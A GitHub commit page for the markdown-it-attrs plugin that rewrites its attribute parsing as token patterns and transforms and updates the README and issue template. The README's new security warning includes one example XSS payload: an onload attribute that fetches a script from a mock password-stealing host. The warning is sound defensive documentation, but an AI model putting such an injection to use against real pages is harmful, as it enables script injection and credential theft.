Skip to content

Commit

Permalink
rewrite logic as patterns and transforms (#42)
Browse files Browse the repository at this point in the history 
* added test for issue #32

* rewrite logic as patterns and transforms

The logic works like this:

1. Try matching pattern to token stream.
2. If pattern matches, run `pattern.transform`.
3. `pattern.transform` finds attributes and alters token stream accordingly.

A patterns consist of several tests. Each test must contain either
`shift` or `position`. For each token, tests of all patterns are rerun, such
that you can match which tokens follow each other in the token stream.

Example:

```js
{
  /**
   * | h1 |
   * | -- |
   * | c1 |
   * {.c}
   */
  name: 'tables',
  tests: [
    {
      shift: 0,
      type: 'table_close'
    }, {
      shift: 1,
      type: 'paragraph_open'
    }, {
      shift: 2,
      type: 'inline',
      content: utils.hasCurly('only')
    }
  ],...
```

The pattern above will match the token stream if
1. current token is of type table_close
2. the next token is a paragraph_open
3. the token after paragraph_open is of type inline
4. and it has content with curly

One may also specify patterns of children:
```js
    /**
     * - item
     * {.a}
     */
    name: 'list softbreak',
    tests: [
      {
        shift: -2,
        type: 'list_item_open'
      }, {
        shift: 0,
        type: 'inline',
        children: [
          {
            position: -2,
            type: 'softbreak'
          }, {
            position: -1,
            content: utils.hasCurly('only')
          }
        ]
      }
    ],...
```

The children pattern is similar as previous example, but uses `position`
here instead of `shift`. This makes it easy to specify last token (position: -1).

A transform is usually something like this:
1. get attributes
2. find correct token where attributes should be set
3. set attributes
4. remove curly from output

Example:
```js
transform: (tokens, i) => {
  let token = tokens[i];
  let start = token.info.lastIndexOf('{');
  let attrs = utils.getAttrs(token.info, start);
  utils.addAttrs(attrs, token);
  token.info = utils.removeCurly(token.info);
}
```

Note that keys in tests may be:

1. boolean | number | string: strict compare with token
2. function: function is called with token[key], should return true or false
3. array of functions: same as above, but all functions are called
4. array of tests: only for the key `children`, same as a token test,
   but will loop childrens of token, note that token should then be of type 'inline'

* update readme

* add issue template
  • Loading branch information
@arve0
arve0 authored Aug 7, 2017
1 parent 5f5241e commit f5c6e81
Show file tree
Hide file tree
Showing 6 changed files with 467 additions and 342 deletions.
16 changes: 16 additions & 0 deletions ISSUE_TEMPLATE.md
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
This is an issue template. Fill in your problem description here, replacing this text. Below you should include examples.

Example input:
```md
this is the markdown I'm trying to parse {.replace-me}
```

Current output:
```html
<p class="replace-me">this is the markdown I'm trying to parse</p>
```

Expected output:
```html
<p class="replace-me">this is the markdown I'm trying to parse</p>
```
50 changes: 22 additions & 28 deletions README.md
View file
Original file line number Diff line number Diff line change
Expand Up @@ -38,8 +38,15 @@ nums = [x for x in range(10)]
</code></pre>
```

**Note:** Plugin does not validate any input, so you should validate the attributes in your html output if security is a concern.
## Security
**NOTE!**

`markdown-it-attrs` does not validate attribute input. You should validate your output HTML if security is a concern (use a whitelist).

For example, a user may insert rogue attributes like this:
```js
![](img.png){onload=fetch(https://imstealingyourpasswords.com/script.js).then(...)}
```
## Install
Expand Down Expand Up @@ -90,7 +97,7 @@ Output:
</ul>
```
If you need the class to apply to the ul element, use a new line:
If you need the class to apply to the `<ul>` element, use a new line:
```md
- list item **bold**
{.red}
Expand All @@ -103,42 +110,29 @@ Output:
</ul>
```
Unfortunately, as of now, attributes on new line will apply to opening `ul` or `ol` for previous list item:
If you have nested lists, curlys after new lines will apply to the nearest `<ul>` or `<ol>` list. You may force it to apply to the outer `<ul>` by adding curly below on a paragraph by it own:
```md
- applies to
- ul of last
{.list}
{.item}

- item
- nested item {.a}
{.b}

- here
- we get
{.blue}
- what's expected
{.red}
{.c}
```
Which is not what you might expect. [Suggestions are welcome](https://github.com/arve0/markdown-it-attrs/issues/32). Output:
Output:
```html
<ul>
<li>applies
<ul class="item list">
<li>ul of last</li>
<ul class="c">
<li>item
<ul class="b">
<li class="a">nested item</li>
</ul>
</li>
</ul>

<ul class="red">
<li>here
<ul class="blue">
<li>we get</li>
</ul>
</li>
<li>what's expected</li>
</ul>
```
If you need finer control, look into [decorate](https://github.com/rstacruz/markdown-it-decorate).
This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.
If you need finer control, [decorate](https://github.com/rstacruz/markdown-it-decorate) might help you.
## Custom blocks
Expand Down
261 changes: 108 additions & 153 deletions index.js
View file
Original file line number Diff line number Diff line change
@@ -1,183 +1,138 @@
'use strict';

const utils = require('./utils.js');
const patterns = require('./patterns.js');

module.exports = function attributes(md) {

function curlyAttrs(state){
var tokens = state.tokens;

for (var i = 0; i < tokens.length; ++i) {
let token = tokens[i];
let pattern;
if (token.block) {
pattern = getMatchingPattern(tokens, i, 'block');
if (pattern) {
pattern.transform(tokens, i);
continue;
}
if (token.type === 'inline') {
let children = tokens[i].children;
for (let j = 0; j < children.length; ++j) {
pattern = getMatchingPattern(children, j, 'inline');
if (pattern) {
pattern.transform(children, j);
continue;
}
function curlyAttrs(state) {
let tokens = state.tokens;

for (let i = 0; i < tokens.length; i++) {
for (let p = 0; p < patterns.length; p++) {
let pattern = patterns[p];
let j = null; // position of child with offset 0
let match = pattern.tests.every(t => {
let res = test(tokens, i, t);
if (res.j !== null) { j = res.j; }
return res.match;
});
if (match) {
pattern.transform(tokens, i, j);
if (pattern.name === 'inline attributes') {
// retry, may be several inline attributes
p--;
}
}
}

// block tokens contain markup
// inline tokens contain the text
if (tokens[i].type !== 'inline') {
continue;
}

var inlineTokens = tokens[i].children;
if (!inlineTokens || inlineTokens.length <= 0) {
continue;
}

// attributes for blocks
var lastInlineToken;
if (utils.hasCurlyInEnd(tokens[i].content)) {
lastInlineToken = last(inlineTokens);
var content = lastInlineToken.content;
var curlyStart = content.lastIndexOf('{');
var attrs = utils.getAttrs(content, curlyStart + 1, content.length - 1);
// if list and `\n{#c}` -> apply to bullet list open:
//
// - iii
// {#c}
//
// should give
//
// <ul id="c">
// <li>iii</li>
// </ul>
var nextLastInline = nextLast(inlineTokens);
// some blocks are hidden, example li > paragraph_open
var correspondingBlock = firstTokenNotHidden(tokens, i - 1);
if (nextLastInline && nextLastInline.type === 'softbreak' &&
correspondingBlock && correspondingBlock.type === 'list_item_open') {
utils.addAttrs(attrs, bulletListOpen(tokens, i - 1));
// remove softbreak and {} inline tokens
tokens[i].children = inlineTokens.slice(0, -2);
tokens[i].content = utils.removeCurly(tokens[i].content);
if (utils.hasCurlyInEnd(tokens[i].content)) {
// do once more:
//
// - item {.a}
// {.b} <-- applied this
i -= 1;
}
} else {
utils.addAttrs(attrs, correspondingBlock);
lastInlineToken.content = utils.removeCurly(content);
if (lastInlineToken.content === '') {
// remove empty inline token
inlineTokens.pop();
}
tokens[i].content = utils.removeCurly(tokens[i].content);
}
}

}
}

md.core.ruler.before('linkify', 'curly_attributes', curlyAttrs);
};

/**
* some blocks are hidden (not rendered)
*/
function firstTokenNotHidden(tokens, i) {
if (tokens[i] && tokens[i].hidden) {
return firstTokenNotHidden(tokens, i - 1);
}
return tokens[i];
}

/**
* Find corresponding bullet/ordered list open.
*/
function bulletListOpen(tokens, i) {
var level = 0;
var token;
for (; i >= 0; i -= 1) {
token = tokens[i];
// jump past nested lists, level == 0 and open -> correct opening token
if (token.type === 'bullet_list_close' ||
token.type === 'ordered_list_close') {
level += 1;
}
if (token.type === 'bullet_list_open' ||
token.type === 'ordered_list_open') {
if (level === 0) {
return token;
} else {
level -= 1;
}
}
}
}

/**
* Returns first pattern that matches `token`-stream
* at current `i`.
* Test if t matches token stream.
*
* @param {array} tokens
* @param {number} i
* @param {string} type - pattern type
* @param {object} t Test to match.
* @return {object} { match: true|false, j: null|number }
*/
function getMatchingPattern (tokens, i, type) {
type = type || 'block';
for (let pattern of patterns.filter(p => p.type === type)) {
let match = pattern.tests.every((test) => {
let j = i + test.shift;
let token = tokens[j];

if (token === undefined) { return false; }

for (let key in test) {
if (key === 'shift') { continue; }


if (token[key] === undefined) { return false; }
switch (typeof test[key]) {
case 'boolean':
case 'number':
case 'string':
if (token[key] !== test[key]) { return false; }
break;
case 'function':
if (!test[key](token[key])) { return false; }
break;
case 'object':
if (Array.isArray(test[key])) {
let res = test[key].every(t => t(token[key]));
if (res === false) { return false; }
function test(tokens, i, t) {
let res = {
match: false,
j: null // position of child
};

let ii = t.shift !== undefined
? i + t.shift
: t.position;
let token = get(tokens, ii); // supports negative ii


if (token === undefined) { return res; }

for (let key in t) {
if (key === 'shift' || key === 'position') { continue; }

if (token[key] === undefined) { return res; }

if (key === 'children' && isArrayOfObjects(t.children)) {
if (token.children.length === 0) {
return res;
}
let match;
let childTests = t.children;
let children = token.children;
if (childTests.every(tt => tt.position !== undefined)) {
// positions instead of shifts, do not loop all children
match = childTests.every(tt => test(children, tt.position, tt).match);
if (match) {
// we may need position of child in transform
let j = last(childTests).position;
res.j = j >= 0 ? j : children.length + j;
}
} else {
for (let j = 0; j < children.length; j++) {
match = childTests.every(tt => test(children, j, tt).match);
if (match) {
res.j = j;
// all tests true, continue with next key of pattern t
break;
}
// fall through for objects that are not arrays
default:
throw new Error('Unknown type of pattern test. Test should be of type boolean, number, string, function or array of functions.');
}
}
return true;
});
if (match) {
return pattern;

if (match === false) { return res; }

continue;
}

switch (typeof t[key]) {
case 'boolean':
case 'number':
case 'string':
if (token[key] !== t[key]) { return res; }
break;
case 'function':
if (!t[key](token[key])) { return res; }
break;
case 'object':
if (isArrayOfFunctions(t[key])) {
let r = t[key].every(tt => tt(token[key]));
if (r === false) { return res; }
break;
}
// fall through for objects !== arrays of functions
default:
throw new Error(`Unknown type of pattern test (key: ${key}). Test should be of type boolean, number, string, function or array of functions.`);
}
}
return false;

// no tests returned false -> all tests returns true
res.match = true;
return res;
}

function last(arr) {
return arr.slice(-1)[0];
function isArrayOfObjects(arr) {
return Array.isArray(arr) && arr.length && arr.every(i => typeof i === 'object');
}

function isArrayOfFunctions(arr) {
return Array.isArray(arr) && arr.length && arr.every(i => typeof i === 'function');
}

/**
* Get n item of array. Supports negative n, where -1 is last
* element in array.
* @param {array} arr
* @param {number} n
*/
function get(arr, n) {
return n >= 0 ? arr[n] : arr[arr.length + n];
}

function nextLast(arr) {
return arr.slice(-2, -1)[0];
// get last element of array, safe - returns {} if not found
function last(arr) {
return arr.slice(-1)[0] || {};
}
Loading

0 comments on commit f5c6e81

Please sign in to comment.